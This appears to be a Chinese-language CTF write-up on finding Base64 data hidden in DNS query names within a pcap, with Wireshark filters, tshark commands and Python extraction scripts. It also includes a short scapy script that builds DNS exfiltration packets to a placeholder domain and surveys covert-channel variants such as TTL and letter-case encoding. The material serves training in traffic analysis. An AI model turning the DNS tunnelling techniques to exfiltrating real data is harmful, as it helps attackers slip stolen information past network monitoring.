前两天群里有人丢了一道流量分析题名字大概是“DNS数据拼接”点开一看就是常见的那种套路一个pcap包里面全是DNS查询表面看是乱七八糟的域名解析实际上每一段域名里都藏着一块Base64编码。这种题在CTF流量分析里非常经典考的是三件事会不会用Wireshark过滤出真正的可疑流量、能不能从DNS查询名里把隐写数据提取出来、以及有没有能力把拆分过的数据按正确顺序拼回去。整道题不涉及什么复杂漏洞也不用逆向二进制恰恰是最能拉开基本功差距的一类题。这篇文章我就拿这道DNS题当例子把完整思路从头到尾过一遍。适合刚入门流量分析、想练Wireshark过滤语法的人也适合已经能解简单题、但总觉得差点系统性的朋友。你要是能把这道题吃透后续遇到基于DNS的隐蔽信道、恶意回连流量也能平移同样思路过去。1. 题目概览与破题思路1.1 一道DNS题的考点拆解这种题的表面结构通常很简单一个pcap文件里面除了少量正常网络通信剩下就是成百上千条DNS请求。每条请求的查询名都长得不太正常有的是一长串随机字符有的是某个固定域名前面挂了很多子域名前缀。出题人做的事很简单——把一段明文隐写后的内容用Base64编码然后按照固定长度拆成几十段每段塞进DNS查询名里让这些查询看起来像是某种自动化程序在反复解析域名。对选手来说考点就分布在四个环节流量定位在混杂着正常DNS、ARP、mDNS、LLMNR的pcap里找到真正承载数据的那些DNS包。数据提取从DNS查询名或者响应字段里把Base64片段抠出来。编码还原把Base64字符串解码得到原始内容。顺序恢复如果题目故意把分片顺序打乱还要从域名编号、时间戳、IP角度把数据拼回正确序列。这四步环环相扣。很多新手折在第一步因为只要Wireshark打开pcap屏幕上全是DNS反而不知道从哪儿下手。这说明过滤语法和筛选思路没有形成肌肉记忆。除了技术点这道题还顺带考了一个心态问题当你有几千条数据摆在那里能不能压住性子去做统计分析而不是一条一条肉眼看。说实话这道题训练的核心就是“用统计思维代替逐包审查”。1.2 为什么出题人偏爱DNS协议做隐蔽载体DNS能成为流量分析题里的常客不是偶然。从协议设计上看DNS查询是明文、无连接、几乎不可能被防火墙拦截。正常业务环境里任何一台机器都会产生大量DNS请求混在里面非常自然。出题人把数据藏在里面属于典型的“隐写于正常协议”这也是安全领域常说的隐蔽信道的思路。如果把DNS查询比作快递单正常域名就是一串有意义的地址比如“shop.example.com”。但隐蔽数据就不管语义了它会把一段Base64字符串切成几段放在域名的最前面比如“aGVsbG8ud29ybGQ.example.com”。对网络设备来说它就是个长得怪一点的域名该解析还是解析该放行还是放行。可对人类来说直接看捕获列表根本分辨不出来。选Base64而不是十六进制也有讲究。十六进制编码会翻倍数据长度同样一个UDP包能承载的字符更少Base64只膨胀约1.33倍而且字符集稳定大小写字母、数字、加号、斜杠、等号在域名里除了点号需要特殊处理其他字符基本都能直接用。有些题目连等号都省了解码前要手动补。这类题对出题人来说也方便不需要额外做恶意程序只要能构造DNS包的脚本就能把一个文本内容拆包塞进去。对选手来说只要识破“域名字符长度异常”这个点整个入口就打开了。1.3 这道题的预期学习曲线我把这道题划分成三个难度台阶方便你对号入座。第一台阶是入门你会用Wireshark的显示过滤器把可疑域名捞出来知道dns.flags.response 0只看请求、dns.qry.name contains xxx做关键词匹配然后手工复制域名、解码、拼接。这个台阶能让你拿到Flag但耗时很长容易手滑。第二台阶是熟练你开始用tshark把数据导出成文本再交给Python脚本去重、排序、自动Base64解码。这个阶段考验的是“把Wireshark当管道用”的意识而不是把Wireshark当图形工具用。第三台阶是举一反三你做完这道题后会反应过来同样的数据隐藏手法可以换到TXT记录、CNAME记录、甚至TTL值里。到这一步你才算真正把DNS协议吃透了。后面我会按照这个学习曲线展开先说过滤再说提取接着说拼接最后列一些我实际踩过的坑。2. Wireshark过滤与流量定位实战2.1 快速过滤DNS流量的核心语法打开pcap后第一件事不是盯着数据包列表看而是在显示过滤器里输入dns把所有DNS流量先隔离出来。这一步通常能过滤掉大部分无关噪音但还不够——因为正常DNS也在这里面。想要继续收窄范围要看查询名。DNS的显示过滤字段里有一个非常重要的属性dns.qry.name。它代表查询名也就是客户端要解析的那个域名。你可以用contains做子串匹配也可以用matches走正则。下面这条过滤是我每次拿到DNS流量分析题都会先敲一遍的dns.qry.name matches [a-z0-9/]{20,}这条正则的意思是找出查询名里包含至少20个连续大小写字母、数字或符号的子串。正常域名极少会出现20个字符以上的无意义随机串一旦出现基本就是隐写数据。使用matches而不是contains是因为有些题目会在每段Base64后面跟固定域名比如abc123random.payload.example.comcontains payload也能过滤但如果出题人把特征域藏得深正则的命中率更高。另一个常用组合是只看请求、不看响应dns.flags.response 0 dns.qry.name contains somekeyworddns.flags.response 0表示DNS请求响应的话该字段为1。为什么先只看请求因为很多题目只把数据放在查询名里响应包通常就是正常解析结果甚至故意构造一个“域名不存在”。只保留请求数据量直接减半看起来清爽得多。如果你已经通过统计发现某个IP反复发DNS查询也可以按IP过滤dns.qry.name contains payload ip.src 192.168.1.100这种过滤方式在真实安全分析里更常用先锁定可疑主机的IP再看它访问了什么域名。2.2 在杂乱流量里找“异常”的三板斧如果题目没有给你任何关键词那就要用统计的眼光找异常。我的习惯是三步走。第一步看DNS请求的统计分布。Wireshark菜单栏里有“统计 - DNS”但更直观的是“统计 - 端点”里按IPv4地址排序。正常网络里DNS请求往往是分散的多个主机偶尔查几个域名可如果是题目故意构造的经常出现一个内网IP在短时间内疯狂发起大量DNS查询这个IP就是要重点盯的对象。第二步看域名的长度分布。这一步建议直接切到tshark操作因为图形界面看几千条域名列表效率太低。用下面的命令把所有查询名导出来tshark -r dns.pcap -Y dns.flags.response 0 -T fields -e dns.qry.name query_names.txt导出来后用awk统计一下域名长度超过40字符的全部打出来。通常隐藏数据的域名都长得离谱一眼就能分辨。第三步看请求类型。DNS的QTYPE有A、AAAA、TXT、CNAME、PTR等。正常域名解析大多数是A记录或AAAA记录。如果有大量TXT请求或PTR请求本身就是可疑信号因为这两种类型经常被用来携带额外文本数据。过滤这种请求可以用dns.qry.type 16其中16就是TXT记录的类型编号。很多隐蔽信道工具把数据写在TXT响应里因为TXT字段天生用来放任意文本不引人怀疑。2.3 关于过滤的常见误区我说几个自己踩过的坑基本都是新手高发问题。第一个误区看到DNS就紧张把mDNS和LLMNR也当成题目流量。在真实pcap里会有大量以_mdns、_llmnr结尾的组播查询那是设备在局域网里互相发现用的。如果不加区分全抓出来会严重干扰判断。建议过滤时直接排除这些dns !(dns.qry.name contains in-addr.arpa) !(dns.qry.name contains ip6.arpa)in-addr.arpa和ip6.arpa是反向解析的记录也属于噪音。第二个误区只盯查询名不检查响应字段。有些题目更喜欢把数据放在响应里的CNAME记录中也就是客户端请求一个正常域名服务器返回的CNAME才是一串Base64。这时候如果只看请求数据就会漏掉真正的载荷。检查CNAME字段用dns.cnamedns.cname contains payload第三个误区用“Follow DNS Stream”拼接数据。DNS基于UDP本质是没有流的Wireshark里的“Follow Stream”主要针对TCP。在DNS题上硬用这个功能只会看到一组无头无尾的请求啥也拼不出来。正确做法是把数据导出后自己用脚本排序后面第三章会细说。3. Base64隐写提取与数据拼接全流程3.1 识别Base64特征的三个信号当你过滤出几十条长域名后下一步就是判断这些字符串到底是不是Base64。我总结三个信号。第一个信号是长度对齐。Base64编码后的字符串长度一定是4的倍数除非去掉填充符。如果某个域名前缀是YTJ这种三字符组后面再接一长串可以肯定是在做Base64。你可以数一下每条查询名里去掉固定域名后的那一截字符数看是不是集中在某个区间比如24、32、36之类。这个“整齐感”是编码数据的天然指纹。第二个信号是字符集。Base64字符集只有A-Za-z0-9/正常单词域名里几乎不可能出现/这种符号。倒不是说域名里完全不能有加号但在域名系统中加号需要转义实际非常罕见。遇到一长串只有这些字符的域名前缀基本可以认定就是Base64。第三个信号是熵值高。正常英文域名有语义字符分布上元音偏多Base64的字符分布非常均匀。你不一定需要算熵值肉眼扫一下全是大小写混杂、字母数字无规律排列基本就中了。这里我给一个快速验证的小脚本。把查询名导出成文本后用Python遍历一遍检查字符集import re base64_charset set(ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789/) with open(query_names.txt, r) as f: for line in f: name line.strip() label name.split(.)[0] if all(c in base64_charset for c in label) and len(label) 16: print(f[疑似Base64] {name})这段脚本只是辅助实际比赛中我通常直接用grep -E先粗筛一遍再用脚本验证。关键思路是先靠特征快速缩小范围再用手工确认不要一开始就在几千条数据里抠细节。3.2 数据拼接顺序的还原策略提取出Base64片段后最大的坑是如何确定拼接顺序。题目常见的做法有四种。第一种按时间顺序。绝大多数题目不会刻意乱序pcap里包的先后就是数据本来顺序。这种题最友好直接把查询名按时间排序依次拼接即可。使用tshark导出时字段是有时间顺序的只要不额外排序自然就是正确的。第二种靠查询名里的编号。有些出题人会在每段Base64前面加一个序号比如1.aGVsbG8.payload.example.com、2.d29ybGQ.payload.example.com。这时候要留意域名第一段到底是数据还是序号或者数据里是否混入了数字。我见过最坑的一种是把序号放在Base64字符串中间比如aGVsbG8x.d29ybGQy不仔细看还以为序号也是数据。第三种靠请求时间的小间隔。如果题目没有显式序号但把数据乱序了有些选手会通过分析DNS请求的时间间隔恢复顺序。思路是同一块的请求之间间隔短不同块之间有规律停顿。但这属于高级解法实际比赛里很少这么考更多是考你能不能注意到“每块之间隔了0.5秒”这种节奏。第四种数据在响应里。前面提到过如果数据放在响应包的CNAME里拼接顺序就不能看请求的先后而要以响应包的到达顺序为准。另外如果题目同时混杂了多次DNS会话可以用dns.id这个字段把请求和响应配对再按ID大小排序。给你一个用Python做全流程解析的示例。假设数据都在查询名里且固定域名是payload.example.com脚本思路如下import dpkt import base64 def extract_dns_queries(pcap_file): chunks [] with open(pcap_file, rb) as f: pcap dpkt.pcap.Reader(f) for ts, buf in pcap: eth dpkt.ethernet.Ethernet(buf) if eth.type ! dpkt.ethernet.ETH_TYPE_IP: continue ip eth.data if ip.p ! dpkt.ip.IP_PROTO_UDP: continue udp ip.data if udp.dport ! 53 and udp.sport ! 53: continue try: dns dpkt.dns.DNS(udp.data) except Exception: continue if dns.qr 0: # 请求 for question in dns.qd: name question.name.lower() if payload.example.com in name: label name.replace(.payload.example.com, ) chunks.append((ts, label)) chunks.sort(keylambda x: x[0]) raw .join(label for _, label in chunks) return base64.b64decode(raw) result extract_dns_queries(dns.pcap) print(result)注意几点dpkt.dns.DNS的qr为0表示请求question.name可能包含点号所以要按固定域名剥离如果Base64里有和/符号域名里可能被转换成十六进制或者直接保留需要视情况反转义。3.3 从解码结果到最终FlagBase64解码后不一定直接就是Flag常见的后续还有三道坎。第一道坎解码结果是字符串但开头或结尾有空白字符。直接用strip()清理即可。有些题目会在数据头尾加一段混淆字符串比如给每块加盐再编码解码后能看到明显多余字符需要人工判断哪些是真正载荷。第二道坎解码结果是二进制文件。比如解码后发现是PK开头ZIP文件或者\x89PNG开头PNG图片这时候要继续拆文件。ZIP可能还带密码密码又藏在另一段DNS流量里属于多阶段题目。遇到这种情况别慌先把解码结果存成二进制文件再用file命令查看类型。第三道坎顺序反了。DNS域名是从子域名到父域名排列的提取时如果不知道剥离固定后缀可能把所有Base64片段按反序拼起来。这种情况我遇到过两次解码出来是一堆乱码后来发现把字符串倒序后再解码就正常了。所以如果解码失败第一反应先试试反转拼接顺序而不是怀疑编码方式。我自己做这类题的习惯是先解码如果得到乱码但乱码里明显有flag{的残影说明只有顺序问题如果乱码完全无规律则考虑是不是有多层编码比如先Base64再URL编码或者先Base64再十六进制。从概率上讲CTF里80%的“解码乱码”问题都是顺序或剥离问题。4. 常见坑点与排查技巧实录4.1 DNS响应与请求的对应关系问题有一种情况很迷过滤时只选了请求结果发现Base64碎片数量对不上总感觉缺一段。后来发现问题出在“分包发送”上。有些工具会把很长的一串Base64拆成多个UDP包发送但每个UDP包不一定都是单独的DNS请求可能多个查询合并到一个包里。Wireshark里同样一条记录展开后能看到多个Queries每一条都是独立的dns.qry.name字段。这种时候按“包”提取就会漏数据。应对方法是用tshark导出时不要按包去重而是逐条展开所有查询字段。用-e dns.qry.name导出的结果里同一行可能出现多个值需要按空格或逗号拆分。另一个常见问题响应包的顺序不一定对应请求包的顺序。因为DNS走UDP可能乱序到达。如果题目把数据放在响应字段里拼接时一定不能按请求顺序要按响应到达时间或者响应包里的序号排。你可以用dns.id把请求和响应配对然后按dns.id的顺序拼接响应数据。还有一种情况同一台主机在短时间内对同一个域名发起了多次查询看起来像是重复数据实则是不同分片。判断依据是查询名里的Base64内容不同。遇到这种要先把完全相同的记录去掉sort query_names.txt | uniq unique_queries.txt去重之后再做拼接能省不少事。4.2 TTL、CNAME、大小写等干扰项题目不会一直按你的思路走我整理了几个实际遇到的干扰项提前打个预防针。第一个干扰项是大小写。Base64是区分大小写的但是很多选手在使用Wireshark图形界面时看到的是被规范化为小写的域名。DNS协议本身对域名大小写不敏感查询名在传输时会保留大小写可Wireshark的显示有可能做归一化。如果你提取出来的Base64全是小写解码大概率失败。解决办法是用tshark的-e dns.qry.name字段保留原始大小写或者在Wireshark首选项里关闭域名大小写归一化。还有一个进阶玩法有些题目不把Base64直接写在域名里而是用大小写表示二进制比如大写字母代表1、小写字母代表0把一个标志文件的二进制内容编码成一大串域名。这种做法在真实恶意流量里偶有出现在CTF里属于“隐藏信道题的进阶形态”。一旦发现提取出来的字符串全是字母且没有数字就要怀疑是不是大小写隐写。第二个干扰项是TTL值。TTL是DNS响应里告诉客户端缓存多久的参数正常值一般是几十到几万。有些隐蔽信道工具会把数据的比特位编码在TTL值的奇偶性里。比如响应包的TTL为奇数表示1偶数表示0。如果你发现所有响应包的TTL都围绕某个值小幅变化就要注意了。用过滤条件看TTL的方式是dns.resp.ttl 100第三个干扰项是CNAME里的数据。CNAME属于响应字段如果题目把Base64放在CNAME里你需要提取的是dns.cname而不是dns.qry.name。有些选手只盯着查询名等发现解码结果是一堆乱码时才会意识到自己提错数据源了。4.3 自动化与手动的权衡做流量分析题最忌讳的就是一步到位想写个大脚本。我见过有人拿到pcap就开始写Python解析结果写了一小时还没看到数据长什么样。正确做法是先手动看几条确认数据的形态和规律再写脚本加速重复劳动。如果pcap不大就一两百条DNS记录用Wireshark手工复制完全可行。选中过滤后的包右键复制为CSV粘贴到VS Code或者Excel里整理再配合在线解码工具五分钟出结果。别觉得手工丢人手工的过程能逼迫自己理解数据组织方式。如果pcap很大或者题目故意塞了几千条噪音这时候必须自动化。我的建议是先用tshark快速导出结构化数据tshark -r dns.pcap -Y dns.flags.response 0 -T fields -e frame.time_epoch -e ip.src -e dns.qry.name dns_requests.tsv导出后用Python或awk分析。这里有个小技巧分两次导出。第一次导出不含固定域名的所有查询名做统计第二次导出包含固定域名的查询名做数据提取。这样能把“找特征”和“提数据”分开避免一次导出后还要在脚本里做大量判断。补充一个命令行实用工具chaosreader这类流量取证工具可以自动提取HTTP、SMTP、DNS里的文件和数据碰到流量分析题可以跑一下碰碰运气。但我的经验是CTF题目构造的隐写数据通常不会用通用工具提取自己动手写脚本反而更稳。5. 拓展这类题还能怎么考5.1 DNS隐蔽信道的常见变体做完这道题你可以顺便把DNS隐蔽信道的其他变体都了解一下因为它们解析思路高度相似只是字段换了。第一种是TXT记录型。数据不在查询名而在响应里的TXT字段。过滤时用dns.txt字段提取时用tshark -r dns.pcap -Y dns.txt -T fields -e dns.txtTXT字段的好处是能放任意长字符串不需要把Base64拆得那么碎有时候一段就是一个完整数据块。第二种是子域名枚举型。攻击者把数据拆成单字符每段作为子域名前缀发起查询看起来像是在做子域名爆破。比如要传“hello”就发h.payload.example.com、e.payload.example.com等等。这种题需要把每一条查询的第一个标签提出来再拼接特征是查询数量巨大但每段数据极短。第三种是DNS over HTTPS。现在很多真实恶意软件用DoH加密DNS通信Wireshark里看起来只是普通的HTTPS流量常规DNS过滤抓不到。这类题已经脱离传统DNS流量分析的范畴需要从TLS握手特征、证书域名来入手难度上一个台阶。CTF中比较少见但你可以作为延伸了解。第四种是基于时间的。攻击者不把数据写在协议字段里而是通过特定时间点的查询行为传递信息比如每间隔特定秒数查询一次代表0或1。这种题目已经不是流量分析能直接解决的问题需要结合时序统计属于更进阶的方向。5.2 流量分析能力的日常训练方法如果你想稳定提升这类题的解题速度我的建议是“自造样本”。用Python的scapy库你可以自己写一个脚本生成包含DNS隐写数据的pcap文件然后隔一天再来分析自己造的样本。这样做的好处是你完全知道数据藏在哪里所以能明确检验自己的过滤条件是否正确。我每次学一个新的Wireshark字段都是靠造样本跑一遍加深记忆。造一个简单样本的代码如下from scapy.all import * import base64 data bflag{test_dns_pcap} b64 base64.b64encode(data).decode() for i in range(0, len(b64), 4): chunk b64[i:i4] domain f{chunk}.payload.example.com sendp(Ether()/IP(dst8.8.8.8)/UDP(dport53)/DNS(qdDNSQR(qnamedomain)), ifacelo)这只是示意代码实际运行时需要结合环境调整。关键不在于跑通这段代码而是体会“构造隐蔽流量”的思路为了不被发现攻击者要尽可能模拟正常DNS行为比如让分片长度固定、域名有规律、请求间隔均匀。理解这一点你反过来做检测时就知道该抓什么特征了。另外一个性价比很高的训练方式是去看真实网络环境下抓到的DNS包。Wireshark提供了一些示例pcap里面包含真实DNS流量虽然是正常数据但你能借此练成“什么才是正常基线”的直觉。有了基线异常自然浮现。很多新手一上来就想练“找异常”却不知道正常流量长什么样这才是最大的问题。最后分享一点个人体会这类DNS隐写题我解过不止一遍。每一遍都会因为一个小的拼接顺序问题浪费时间。后来我养成了一个习惯拿到pcap先看统计再看前三包和最后一包的数据形态然后才写脚本提取。这种“宏观到微观”的顺序比一上来就翻包高效太多。你还想进阶的话建议自己写一个小的tshark辅助脚本库把“导出查询名”“去重排序”“自动Base64解码”封装成函数下次遇到类似题可以直接复用。流量分析说白了就是跟数据较劲你手里的工具越顺手解题速度越快。